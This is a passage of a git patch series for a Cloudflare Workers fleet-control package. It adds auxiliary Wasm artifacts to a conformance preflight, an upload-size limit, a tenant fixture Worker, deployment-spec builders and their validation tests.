expansion against the combined upload ceiling', async () => { + const f = await fixture( + REFERENCE, + `${TENANT}\n/*${'\\'.repeat(33 * 1024 * 1024)}*/`, + ); + await expect(prepare(f.configPath)).rejects.toThrow( + /reference upload size/, + ); + }, 30_000); +}); From 3c13571e73c0559ccea7ca0560e86c249991c3c9 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 20:13:41 +0400 Subject: [PATCH 108/169] feat(fleet-control): add direct tenant conformance artifacts --- .changeset/plain-worker-ingress-inspection.md | 5 + packages/fleet-control/README.md | 2 + packages/fleet-control/package.json | 2 +- ...rect-credentialed-conformance-config.d.mts | 7 + ...direct-credentialed-conformance-config.mjs | 47 +- ...rect-credentialed-conformance-limits.d.mts | 3 + ...direct-credentialed-conformance-limits.mjs | 3 + ...t-credentialed-conformance-preflight.d.mts | 11 + ...ect-credentialed-conformance-preflight.mjs | 110 ++++- .../scripts/direct-credentialed-spec.ts | 155 +++++++ .../scripts/direct-credentialed-tenant.ts | 120 +++++ .../scripts/packed-consumer-test.mjs | 27 +- .../scripts/tsconfig.direct-worker.json | 10 + packages/fleet-control/src/index.ts | 1 + ...ct-credentialed-conformance-config.test.ts | 33 ++ ...credentialed-conformance-preflight.test.ts | 145 +++++- .../test/direct-credentialed-spec.test.ts | 426 ++++++++++++++++++ ...direct-credentialed-tenant.harness.test.ts | 327 ++++++++++++++ .../fixtures/direct-credentialed-config.ts | 56 +++ 19 files changed, 1454 insertions(+), 36 deletions(-) create mode 100644 .changeset/plain-worker-ingress-inspection.md create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-spec.ts create mode 100644 packages/fleet-control/scripts/direct-credentialed-tenant.ts create mode 100644 packages/fleet-control/scripts/tsconfig.direct-worker.json create mode 100644 packages/fleet-control/test/direct-credentialed-spec.test.ts create mode 100644 packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts create mode 100644 packages/fleet-control/test/fixtures/direct-credentialed-config.ts diff --git a/.changeset/plain-worker-ingress-inspection.md b/.changeset/plain-worker-ingress-inspection.md new file mode 100644 index 00000000..f7570756 --- /dev/null +++ b/.changeset/plain-worker-ingress-inspection.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Export `plainWorkerIngressModule` from the root entry for tools that inspect ordinary Worker ingress or calculate the complete upload size. The backend appends this generated module during upload. diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index c797f495..50cc8766 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -44,6 +44,8 @@ Fleet Control does not install a runtime Wrangler dependency. Keep the selected The `workers/*` entries are deployment artifacts for the platform's own Workers. +The root entry exposes `plainWorkerIngressModule(spec)` for upload-budget checks and ordinary Worker ingress tests. Keep its returned module separate from the input specification; the backend appends it during upload. + Import `createCloudflareControlPlane` from `cloudflare-control-plane` in a [dedicated trusted control-plane Worker](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#run-the-trusted-control-plane-in-a-worker). Supply direct Fleet and quota D1 bindings, a private export R2 binding, and a host-owned Cloudflare token. Authorize incoming operations before calling the factory's methods. Never expose the token, bindings, or factory to a tenant-serving Worker. Queue delivery tokens identify requested work; durable Fleet state determines whether it can advance. Size inventory and audit workloads for the [documented memory and read-cost envelope](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#audit-an-account-under-a-request-budget). A provider-request budget does not establish a memory or CPU bound. diff --git a/packages/fleet-control/package.json b/packages/fleet-control/package.json index 3e6ffe3a..e2b79054 100644 --- a/packages/fleet-control/package.json +++ b/packages/fleet-control/package.json @@ -58,7 +58,7 @@ "test:credentialed": "pnpm build && node scripts/credentialed-conformance.mjs", "test:packed-consumer": "node scripts/packed-consumer-test.mjs", "test": "vitest run", - "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit" + "typecheck": "tsc -p tsconfig.json --noEmit && tsc -p tsconfig.build.json --noEmit && tsc -p scripts/tsconfig.direct-worker.json" }, "dependencies": { "@proofoftech/flowsafe": "workspace:*", diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts index 876fe5d1..a03e69b4 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts @@ -2,10 +2,17 @@ export const DIRECT_CONFORMANCE_CONTRACT_VERSION: 1; +export interface DirectAuxiliaryWasmIntent { + readonly file: string; + readonly name: string; + readonly sha256: string; +} + export interface DirectArtifactIntent { readonly bundle: string; readonly mainModule: string; readonly sha256: string; + readonly auxiliaryWasm?: readonly DirectAuxiliaryWasmIntent[]; } export interface DirectRuntimeIntent { diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs index 2af0252c..c72f984d 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs @@ -70,7 +70,14 @@ function hostname(value, field) { } function artifact(value, field) { - const input = object(value, ['bundle', 'mainModule', 'sha256'], field); + const keys = ['bundle', 'mainModule', 'sha256']; + if ( + value && + typeof value === 'object' && + Object.hasOwn(value, 'auxiliaryWasm') + ) + keys.push('auxiliaryWasm'); + const input = object(value, keys, field); const bundle = string(input.bundle, `${field}.bundle`); const mainModule = string(input.mainModule, `${field}.mainModule`); if ( @@ -81,7 +88,43 @@ function artifact(value, field) { throw invalid(`${field}.mainModule`); if (typeof input.sha256 !== 'string' || !DIGEST.test(input.sha256)) throw invalid(`${field}.sha256`); - return Object.freeze({ bundle, mainModule, sha256: input.sha256 }); + let auxiliaryWasm; + if (Object.hasOwn(input, 'auxiliaryWasm')) { + if (!Array.isArray(input.auxiliaryWasm)) + throw invalid(`${field}.auxiliaryWasm`); + const names = new Set([mainModule]); + auxiliaryWasm = Object.freeze( + input.auxiliaryWasm.map((value) => { + const descriptor = object( + value, + ['file', 'name', 'sha256'], + `${field}.auxiliaryWasm`, + ); + const file = string(descriptor.file, `${field}.auxiliaryWasm.file`); + const name = string(descriptor.name, `${field}.auxiliaryWasm.name`); + if ( + name.length > 255 || + !isPortablePathSegment(name) || + !name.endsWith('.wasm') || + names.has(name) + ) + throw invalid(`${field}.auxiliaryWasm.name`); + if ( + typeof descriptor.sha256 !== 'string' || + !DIGEST.test(descriptor.sha256) + ) + throw invalid(`${field}.auxiliaryWasm.sha256`); + names.add(name); + return Object.freeze({ file, name, sha256: descriptor.sha256 }); + }), + ); + } + return Object.freeze({ + bundle, + mainModule, + sha256: input.sha256, + ...(auxiliaryWasm === undefined ? {} : { auxiliaryWasm }), + }); } function runtime(input, field, today) { diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts new file mode 100644 index 00000000..bdcc70d7 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_MAX_UPLOAD_BYTES: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs new file mode 100644 index 00000000..b8d1f4b6 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_MAX_UPLOAD_BYTES = 64 * 1024 * 1024; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts index f69f815c..925a4be4 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts @@ -12,6 +12,15 @@ export const DIRECT_MAX_UPLOAD_BYTES: number; export interface DirectModuleSnapshot { readonly name: string; readonly source: string; + readonly contentType: 'application/javascript+module'; + readonly byteLength: number; + readonly sha256: string; +} + +export interface DirectWasmSnapshot { + readonly name: string; + readonly base64: string; + readonly contentType: 'application/wasm'; readonly byteLength: number; readonly sha256: string; } @@ -28,6 +37,7 @@ export interface DirectRunManifest { >; readonly deploymentRuntime: Omit; readonly tenantModule: DirectModuleSnapshot; + readonly tenantWasm: readonly DirectWasmSnapshot[]; readonly fixtureVersion: 1; readonly interruption: 'after-migration-admission'; } @@ -40,6 +50,7 @@ export interface PreparedDirectConformance { readonly referenceModules: readonly [ DirectModuleSnapshot, DirectModuleSnapshot, + ...DirectWasmSnapshot[], ]; readonly referenceUploadBytes: number; readonly referenceModuleSetSha256: string; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs index 06304c7b..9565bf16 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs @@ -10,14 +10,28 @@ import { deriveDirectConformanceNames, validateDirectConformanceConfig, } from './direct-credentialed-conformance-config.mjs'; +import { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs'; + +export { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs'; export const DIRECT_MANIFEST_MODULE = 'direct-run-manifest.js'; -export const DIRECT_MAX_UPLOAD_BYTES = 64 * 1024 * 1024; -const EXTERNAL_MODULES = new Set([ - 'node:crypto', - 'node:async_hooks', - 'cloudflare:workers', +const REFERENCE_CORE_MODULES = new Set(['crypto', 'async_hooks', 'buffer']); +const TENANT_CORE_MODULES = new Set([ + 'stream', + 'child_process', + 'fs', + 'path', + 'crypto', + 'os', + 'fs/promises', + 'module', + 'stream/web', + 'events', + 'async_hooks', + 'url', + 'path/posix', + 'string_decoder', ]); function invalid(field) { @@ -68,7 +82,7 @@ function utf8(bytes, field) { } } -function inspectModule(text, reference, field) { +function inspectModule(text, reference, field, wasm) { const syntax = spawnSync( process.execPath, ['--input-type=module', '--check'], @@ -81,13 +95,13 @@ function inspectModule(text, reference, field) { ); if (syntax.status !== 0) throw invalid(`${field} JavaScript`); try { - inspectModuleStructure(text, reference, field); + inspectModuleStructure(text, reference, field, wasm); } catch { throw invalid(`${field} module inspection`); } } -function inspectModuleStructure(text, reference, field) { +function inspectModuleStructure(text, reference, field, wasm) { const fileName = '/direct-artifact.js'; const source = ts.createSourceFile( fileName, @@ -130,8 +144,10 @@ function inspectModuleStructure(text, reference, field) { throw invalid(`${field} exports`); let manifests = 0; + const wasmPaths = new Set(wasm.map(({ name }) => `./${name}`)); + const coreModules = reference ? REFERENCE_CORE_MODULES : TENANT_CORE_MODULES; const inspectImport = (specifier, declaration) => { - if (!specifier || !ts.isStringLiteral(specifier)) + if (!specifier || !ts.isStringLiteralLike(specifier)) throw invalid(`${field} module dependency`); if (reference && specifier.text === `./${DIRECT_MANIFEST_MODULE}`) { if ( @@ -143,7 +159,19 @@ function inspectModuleStructure(text, reference, field) { ) throw invalid(`${field} manifest import`); manifests += 1; - } else if (!EXTERNAL_MODULES.has(specifier.text)) { + } else if (wasmPaths.has(specifier.text)) { + if ( + !declaration || + !ts.isImportDeclaration(declaration) || + !declaration.importClause?.name || + declaration.importClause.namedBindings || + declaration.attributes + ) + throw invalid(`${field} Wasm import`); + } else if ( + specifier.text !== 'cloudflare:workers' && + !coreModules.has(specifier.text.replace(/^node:/, '')) + ) { throw invalid(`${field} module dependency`); } }; @@ -159,7 +187,8 @@ function inspectModuleStructure(text, reference, field) { ) { if (node.arguments.length !== 1) throw invalid(`${field} module dependency`); - inspectImport(node.arguments[0]); + if (ts.isStringLiteralLike(node.arguments[0]) || reference) + inspectImport(node.arguments[0]); } ts.forEachChild(node, (child) => { pending.push(child); @@ -172,6 +201,7 @@ function moduleSnapshot(name, source) { return Object.freeze({ name, source, + contentType: 'application/javascript+module', byteLength: Buffer.byteLength(source), sha256: sha256(source), }); @@ -185,8 +215,33 @@ async function readArtifact(configDirectory, intent, reference, field) { ); if (sha256(bytes) !== intent.sha256) throw invalid(`${field} digest`); const source = utf8(bytes, field); - inspectModule(source, reference, field); - return moduleSnapshot(intent.mainModule, source); + const wasm = []; + let byteLength = bytes.byteLength; + for (const descriptor of intent.auxiliaryWasm ?? []) { + const binary = await readBoundedFile( + resolve(configDirectory, descriptor.file), + DIRECT_MAX_UPLOAD_BYTES - byteLength, + `${field} Wasm`, + ); + if (sha256(binary) !== descriptor.sha256) + throw invalid(`${field} Wasm digest`); + if (!WebAssembly.validate(binary)) throw invalid(`${field} Wasm format`); + byteLength += binary.byteLength; + wasm.push( + Object.freeze({ + name: descriptor.name, + base64: binary.toString('base64'), + contentType: 'application/wasm', + byteLength: binary.byteLength, + sha256: descriptor.sha256, + }), + ); + } + inspectModule(source, reference, field, wasm); + return Object.freeze({ + main: moduleSnapshot(intent.mainModule, source), + wasm: Object.freeze(wasm), + }); } function runtimeFields(runtime) { @@ -221,7 +276,7 @@ export async function preflightDirectConformance(input) { true, 'reference artifact', ); - const tenantModule = await readArtifact( + const tenant = await readArtifact( configDirectory, config.deployment.artifact, false, @@ -242,7 +297,8 @@ export async function preflightDirectConformance(input) { maxInvocations: config.referenceWorker.maxInvocations, }), deploymentRuntime: Object.freeze(runtimeFields(config.deployment)), - tenantModule, + tenantModule: tenant.main, + tenantWasm: tenant.wasm, fixtureVersion: config.deployment.spec.fixtureVersion, interruption: config.interruption, }); @@ -250,15 +306,25 @@ export async function preflightDirectConformance(input) { DIRECT_MANIFEST_MODULE, `export default ${JSON.stringify(manifest)};\n`, ); - const referenceModules = Object.freeze([reference, manifestModule]); - const referenceUploadBytes = reference.byteLength + manifestModule.byteLength; + const referenceModules = Object.freeze([ + reference.main, + manifestModule, + ...reference.wasm, + ]); + const referenceUploadBytes = referenceModules.reduce( + (sum, module) => sum + module.byteLength, + 0, + ); if (referenceUploadBytes > DIRECT_MAX_UPLOAD_BYTES) throw invalid('reference upload size'); - const moduleTable = referenceModules.map(({ name, byteLength, sha256 }) => ({ - name, - byteLength, - sha256, - })); + const moduleTable = referenceModules.map( + ({ name, contentType, byteLength, sha256 }) => ({ + name, + contentType, + byteLength, + sha256, + }), + ); return Object.freeze({ config, names, diff --git a/packages/fleet-control/scripts/direct-credentialed-spec.ts b/packages/fleet-control/scripts/direct-credentialed-spec.ts new file mode 100644 index 00000000..7065260e --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-spec.ts @@ -0,0 +1,155 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { Buffer } from 'node:buffer'; +import { createHash, randomBytes } from 'node:crypto'; +import { + plainWorkerIngressModule, + validateDeploymentSecrets, + validateDeploymentSpec, +} from '@proofoftech/fleet-control'; +import { + type CloudflareDeploymentSpec, + type DeploymentSecrets, + generateDeploymentSecrets, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; +import { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; + +export type DirectFixtureRole = keyof DirectConformanceNames['roles']; +export type DirectFixtureRelease = 'initial' | 'next' | 'failed-recovery'; + +export interface DirectProviderContext { + readonly accountWorkersDevSubdomain: string; +} + +export function generateDirectDeploymentSecrets(): DeploymentSecrets { + return Object.freeze({ + ...generateDeploymentSecrets(), + application: Object.freeze({ + APP_PROBE_TOKEN: Buffer.from(randomBytes(32)).toString('base64url'), + }), + }); +} + +export function directDeploymentSpec( + manifest: DirectRunManifest, + role: DirectFixtureRole, + release: DirectFixtureRelease, + secrets: DeploymentSecrets, + provider: DirectProviderContext, +): CloudflareDeploymentSpec { + if ( + !['a', 'b', 'recovery'].includes(role) || + !['initial', 'next', 'failed-recovery'].includes(release) || + (release === 'failed-recovery' && role !== 'recovery') + ) + throw new Error('invalid direct fixture selection'); + if (manifest.contractVersion !== 1 || manifest.fixtureVersion !== 1) + throw new Error('invalid direct fixture version'); + const subdomain = provider?.accountWorkersDevSubdomain; + if ( + typeof subdomain !== 'string' || + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) + ) + throw new Error('invalid direct fixture account Workers.dev subdomain'); + const artifact = manifest.tenantModule; + if ( + new TextEncoder().encode(artifact.source).byteLength !== + artifact.byteLength || + createHash('sha256').update(artifact.source).digest('hex') !== + artifact.sha256 + ) + throw new Error('invalid direct fixture artifact'); + const wasm = manifest.tenantWasm.map((module) => { + const content = new Uint8Array(Buffer.from(module.base64, 'base64')); + if ( + content.byteLength !== module.byteLength || + createHash('sha256').update(content).digest('hex') !== module.sha256 + ) + throw new Error('invalid direct fixture Wasm artifact'); + return { name: module.name, content, contentType: module.contentType }; + }); + const token = secrets.application?.APP_PROBE_TOKEN; + if (typeof token !== 'string' || token.length === 0) + throw new Error('missing direct fixture application secret'); + const names = manifest.names.roles[role]; + const maintenanceHostname = `${names.scriptName}.${subdomain}.workers.dev`; + if (maintenanceHostname === names.routeHostname) + throw new Error( + 'direct fixture maintenance and application hosts must differ', + ); + const next = release === 'next'; + const failed = release === 'failed-recovery'; + const spec: CloudflareDeploymentSpec = { + tenantTag: names.tenantTag, + environment: manifest.environment, + scriptName: names.scriptName, + databaseName: names.databaseName, + ...manifest.deploymentRuntime, + compatibilityFlags: [...manifest.deploymentRuntime.compatibilityFlags], + mainModule: artifact.name, + modules: [ + { + name: artifact.name, + content: artifact.source, + contentType: artifact.contentType, + }, + ...wasm, + ], + authoredBy: 'platform', + schemaVersion: next || failed ? 2 : 1, + migrations: [ + { + version: 1, + sql: "CREATE TABLE direct_conformance_fixture (id INTEGER PRIMARY KEY, marker TEXT NOT NULL); INSERT INTO direct_conformance_fixture (id, marker) VALUES (1, 'initial');", + }, + ...(next + ? [ + { + version: 2, + sql: "ALTER TABLE direct_conformance_fixture ADD COLUMN release TEXT NOT NULL DEFAULT 'next'; UPDATE direct_conformance_fixture SET marker = 'next' WHERE id = 1;", + rollbackCompatible: true as const, + }, + ] + : failed + ? [ + { + version: 2, + sql: 'INSERT INTO direct_conformance_missing_table (value) VALUES (1);', + }, + ] + : []), + ], + durableObjectMigrations: [ + { tag: 'v1', newSqliteClasses: ['Maintenance', 'Runner'] }, + ], + ...(next ? { previousDurableObjectTag: 'v1' } : {}), + durableObjectBindings: [ + { name: 'MAINTENANCE', className: 'Maintenance' }, + { name: 'RUNNER', className: 'Runner' }, + ], + maintenanceBaseUrl: `https://${maintenanceHostname}`, + routeHostname: names.routeHostname, + application: { + vars: [{ name: 'APPLICATION_RELEASE', value: next ? '2' : '1' }], + secrets: [ + { + name: 'APP_PROBE_TOKEN', + valueSha256: createHash('sha256').update(token).digest('hex'), + }, + ], + r2Buckets: [{ name: 'PROBE_BUCKET' }], + }, + }; + validateDeploymentSpec(spec); + validateDeploymentSecrets(spec, secrets); + const modules = [...spec.modules, plainWorkerIngressModule(spec)]; + const uploadBytes = modules.reduce( + (sum, module) => sum + Buffer.byteLength(module.content), + 0, + ); + if (uploadBytes > DIRECT_MAX_UPLOAD_BYTES) + throw new Error('direct fixture upload size exceeds the Workers limit'); + return spec; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts new file mode 100644 index 00000000..9329b54a --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + D1Database, + DurableObjectNamespace, + ExportedHandler, + R2Bucket, +} from '@cloudflare/workers-types'; +import { + DurableObjectRunner, + init, + type RunnerRuntime, +} from '@proofoftech/flowsafe/do-runner'; +import { + approvalStoreFactoryFor, + createFlowsafeMaintenanceDurableObject, + createFlowsafeRunnerLifecycle, + createFlowsafeWorker, + type FlowsafeWorkerConfig, + type FlowsafeWorkerEnv, + staticTokenVerifier, +} from '@proofoftech/flowsafe/host-kit'; + +export interface DirectTenantEnv extends FlowsafeWorkerEnv { + DB: D1Database; + RUNNER: DurableObjectNamespace; + MAINTENANCE: DurableObjectNamespace; + APP_PROBE_TOKEN: string; + APPLICATION_RELEASE: string; + PROBE_BUCKET: R2Bucket; +} + +const OBJECT_KEY = 'direct-conformance-fixture'; +const OBJECT_BODY = 'direct-conformance-fixture-data'; + +const config: FlowsafeWorkerConfig = { + workflows: [], + systemPrincipalId: 'direct-conformance', + buildVerifier(env) { + return staticTokenVerifier( + new Map( + env.APP_PROBE_TOKEN + ? [[env.APP_PROBE_TOKEN, { id: 'direct-conformance', role: 'admin' }]] + : [], + ), + ); + }, + maintenance: { + sweepIntervalMs: 60 * 60_000, + purgeIntervalMs: 60 * 60_000, + }, + async preRoutes(request, env, _ctx, kit) { + const path = new URL(request.url).pathname; + if (!path.startsWith('/__direct/')) return null; + if (!(await kit.resolve(request))) + return new Response('Unauthorized', { status: 401 }); + if (path === '/__direct/health' && request.method === 'GET') { + const row = await env.DB.prepare( + 'SELECT marker FROM direct_conformance_fixture WHERE id = 1', + ).first<{ marker: string }>(); + return Response.json({ + release: env.APPLICATION_RELEASE, + marker: row?.marker ?? null, + }); + } + if (path === '/__direct/object') { + if (request.method === 'POST') { + await env.PROBE_BUCKET.put(OBJECT_KEY, OBJECT_BODY); + return new Response(null, { status: 204 }); + } + if (request.method === 'DELETE') { + await env.PROBE_BUCKET.delete(OBJECT_KEY); + return new Response(null, { status: 204 }); + } + if (request.method === 'GET') { + const object = await env.PROBE_BUCKET.get(OBJECT_KEY); + if (!object) return Response.json({ present: false }); + if (object.size !== new TextEncoder().encode(OBJECT_BODY).byteLength) + return new Response('Unexpected fixture object', { status: 409 }); + const digest = await crypto.subtle.digest( + 'SHA-256', + await object.arrayBuffer(), + ); + return Response.json({ + present: true, + size: object.size, + sha256: Array.from(new Uint8Array(digest), (byte) => + byte.toString(16).padStart(2, '0'), + ).join(''), + }); + } + } + return new Response('Not found', { status: 404 }); + }, +}; + +export class Runner extends DurableObjectRunner { + protected build(env: DirectTenantEnv): RunnerRuntime { + return init(env).runtime; + } + + protected runOwnership(env: DirectTenantEnv) { + return approvalStoreFactoryFor(env.DB).resources(); + } + + protected runLifecycle(env: DirectTenantEnv) { + return createFlowsafeRunnerLifecycle(config, env); + } +} + +export class Maintenance extends createFlowsafeMaintenanceDurableObject( + config, +) {} + +const worker = createFlowsafeWorker(config); + +export default { + fetch: (request, env, ctx) => + worker.fetch(request as unknown as Request, env, ctx), +} satisfies ExportedHandler; diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 67d74ec2..739d3709 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -245,6 +245,7 @@ try { deriveStateEgressCredential, fleetSettlementKey, provisionDeployment, + plainWorkerIngressModule, validateDeploymentSpec, type ActiveRouteAttestation, type ActiveRouteExpectation, @@ -453,6 +454,9 @@ export function auditPageCursor(page: FleetAuditFindingsPage): number | undefine } declare const deploymentSpec: DeploymentSpec; +const inspectedIngress: Readonly<{ name: string; content: string }> = + plainWorkerIngressModule(deploymentSpec); +void inspectedIngress; declare const provisioningBackend: ProvisioningBackend; declare const backendSwitchProvider: BackendSwitchProvider; declare const fleetRecord: FleetRecord; @@ -924,11 +928,9 @@ import { attestFleetRecordActiveRoute, deploymentSpecDigest, fleetSettlementKey, + plainWorkerIngressModule, } from '@proofoftech/fleet-control'; -// Every export entry must load. The three Workers entries are default-export -// module objects that no in-repo consumer imports across the package boundary, -// so this is the only place a broken exports key surfaces before the registry. const [dispatch, outbound, auditConsumer] = await Promise.all([ import('@proofoftech/fleet-control/workers/dispatch'), import('@proofoftech/fleet-control/workers/outbound'), @@ -941,6 +943,25 @@ assert.equal(typeof outbound.StateEgress, 'function'); assert.equal(typeof auditConsumer.default.queue, 'function'); assert.equal(typeof deploymentSpecDigest, 'function'); +const inspectionSpec = { + tenantTag: 'packed', environment: 'test', scriptName: 'packed-inspection', + databaseName: 'packed-inspection', compatibilityDate: '2026-08-06', + authoredBy: 'platform', schemaVersion: 1, + migrations: [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export class Maintenance {} export default {fetch(){return new Response()}};' }], + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }], + durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }], + routeHostname: 'app.example.test', maintenanceBaseUrl: 'https://control.example.test', +}; +const inspectedIngress = plainWorkerIngressModule(inspectionSpec); +assert.equal(typeof inspectedIngress.name, 'string'); +assert.ok(inspectedIngress.content.length > 0); +assert.notEqual(inspectedIngress.name, inspectionSpec.mainModule); +assert.throws( + () => plainWorkerIngressModule({ ...inspectionSpec, modules: [...inspectionSpec.modules, inspectedIngress] }), + /reserve/, +); assert.equal(typeof ProcessLocalCloudflareApiRateCoordinator, 'function'); assert.ok(new ProvisioningError('probe') instanceof Error); assert.equal(typeof ActiveRouteAttestationError, 'function'); diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json new file mode 100644 index 00000000..ed4379cc --- /dev/null +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -0,0 +1,10 @@ +{ + "extends": "../../../tsconfig.base.json", + "compilerOptions": { + "noEmit": true, + "types": ["@cloudflare/workers-types", "node"], + "customConditions": ["workerd", "worker", "browser"] + }, + "files": ["direct-credentialed-tenant.ts", "direct-credentialed-spec.ts"], + "include": [] +} diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 58b54fe4..a0af4964 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -177,6 +177,7 @@ export type { HostRoutingTarget } from './host-routing.js'; export { PlainWorkerBackend, type PlainWorkerBackendOptions, + plainWorkerIngressModule, } from './plain-worker-backend.js'; export { type PlatformPlaneClient, diff --git a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts index d5fc58bd..05a89e01 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts @@ -41,6 +41,39 @@ function validate(value: unknown) { } describe('direct conformance configuration', () => { + it.each([ + 'referenceWorker', + 'deployment', + ])('validates and freezes optional %s auxiliary Wasm descriptors', (role) => { + const descriptor = { + file: './my artifacts/fixture.wasm', + name: 'fixture.wasm', + sha256: 'a'.repeat(64), + }; + const raw = changed([role, 'artifact', 'auxiliaryWasm'], [descriptor]); + const result = validate(raw); + const modules = + result[role as 'referenceWorker' | 'deployment'].artifact.auxiliaryWasm; + expect(modules).toEqual([descriptor]); + expect(Object.isFrozen(modules)).toBe(true); + expect(Object.isFrozen(modules?.[0])).toBe(true); + descriptor.file = 'changed'; + expect(modules?.[0]?.file).toBe('./my artifacts/fixture.wasm'); + for (const value of [ + null, + {}, + [{}], + [{ ...descriptor, name: '../fixture.wasm' }], + [{ ...descriptor, name: 'fixture.js' }], + [{ ...descriptor, sha256: 'bad' }], + [{ ...descriptor, secret: 'sentinel' }], + [descriptor, descriptor], + ]) + expect(() => + validate(changed([role, 'artifact', 'auxiliaryWasm'], value)), + ).toThrow(/auxiliaryWasm/); + }); + it('validates the nonsecret example and keeps copied intent immutable', () => { const raw = input(); const result = validate(raw); diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts index c9a91be7..665de846 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts @@ -73,6 +73,24 @@ afterEach(async () => { }); describe('direct artifact preflight', () => { + it('accepts literal-template compatibility imports through the ordinary dependency check', async () => { + const f = await fixture( + `${REFERENCE}\nimport(\`node:buffer\`);`, + `${TENANT}\nimport(\`node:crypto\`);`, + ); + await expect(prepare(f.configPath)).resolves.toBeDefined(); + }); + + it.each([ + './missing.js', + 'undeclared-package', + ])('rejects a literal template tenant dependency %s', async (dependency) => { + const f = await fixture(REFERENCE, `${TENANT}\nimport(\`${dependency}\`);`); + await expect(prepare(f.configPath)).rejects.toThrow( + /tenant artifact module inspection/, + ); + }); + it.each([ 'reference', 'tenant', @@ -137,14 +155,17 @@ describe('direct artifact preflight', () => { 'worker.js', DIRECT_MANIFEST_MODULE, ]); - const moduleTable = result.referenceModules.map( - ({ name, source, byteLength, sha256 }) => { - expect(byteLength).toBe(Buffer.byteLength(source)); - expect(sha256).toBe(digest(source)); - expect(Object.isFrozen(result.referenceModules)).toBe(true); - return { name, byteLength, sha256 }; - }, - ); + const moduleTable = result.referenceModules.map((module) => { + const { name, contentType, byteLength, sha256 } = module; + const bytes = + 'source' in module + ? Buffer.from(module.source) + : Buffer.from(module.base64, 'base64'); + expect(byteLength).toBe(bytes.byteLength); + expect(sha256).toBe(digest(bytes)); + expect(Object.isFrozen(result.referenceModules)).toBe(true); + return { name, contentType, byteLength, sha256 }; + }); expect(result.referenceModuleSetSha256).toBe( digest(JSON.stringify(moduleTable)), ); 